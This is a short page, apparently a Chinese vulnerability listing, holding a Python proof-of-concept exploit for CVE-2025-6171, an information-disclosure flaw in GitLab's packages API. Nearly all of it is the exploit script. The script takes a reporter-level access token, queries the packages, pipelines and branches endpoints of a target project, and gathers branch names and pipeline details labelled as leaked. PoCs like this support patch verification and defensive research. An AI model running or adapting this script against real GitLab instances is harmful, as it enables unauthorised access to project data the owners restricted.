CVE-2025-6171 GitLab packages API未授权访问分支和管道信息漏洞

# CVE-2025-6171 PoC - GitLab packages API Information Disclosure # Requires: Authenticated user with reporter access to a GitLab project # Affected Versions: < 18.3.6, 18.4 < 18.4.4, 18.5 < 18.5.2 import requests import json def exploit_gitlab_cve_2025_6171(gitlab_url, private_token, project_id): """ Exploit CVE-2025-6171 to retrieve branch names and pipeline details via packages API endpoint even when repository access is disabled. Parameters: - gitlab_url: Target GitLab instance URL - private_token: GitLab personal access token with reporter access - project_id: Target project ID Returns: Dictionary containing leaked information """ headers = { 'PRIVATE-TOKEN': private_token, 'Content-Type': 'application/json' } leaked_info = {'branches': [], 'pipelines': [], 'packages': []} # Exploit 1: Access packages API to leak branch names packages_url = f"{gitlab_url}/api/v4/projects/{project_id}/packages" response = requests.get(packages_url, headers=headers) if response.status_code == 200: packages_data = response.json() leaked_info['packages'] = packages_data print(f"[+] Successfully retrieved {len(packages_data)} package entries") print(f"[+] This may reveal branch names and pipeline details") # Exploit 2: Direct pipeline access via API pipelines_url = f"{gitlab_url}/api/v4/projects/{project_id}/pipelines" response = requests.get(pipelines_url, headers=headers) if response.status_code == 200: pipelines_data = response.json() leaked_info['pipelines'] = pipelines_data print(f"[+] Successfully retrieved {len(pipelines_data)} pipeline entries") # Exploit 3: List branches (if accessible) branches_url = f"{gitlab_url}/api/v4/projects/{project_id}/repository/branches" response = requests.get(branches_url, headers=headers) if response.status_code == 200: branches_data = response.json() leaked_info['branches'] = [b['name'] for b in branches_data] print(f"[+] Successfully retrieved {len(branches_data)} branch names") return leaked_info def main(): gitlab_url = "https://gitlab.example.com" private_token = "your-personal-access-token" project_id = 12345 result = exploit_gitlab_cve_2025_6171(gitlab_url, private_token, project_id) print(json.dumps(result, indent=2)) if __name__ == "__main__": main()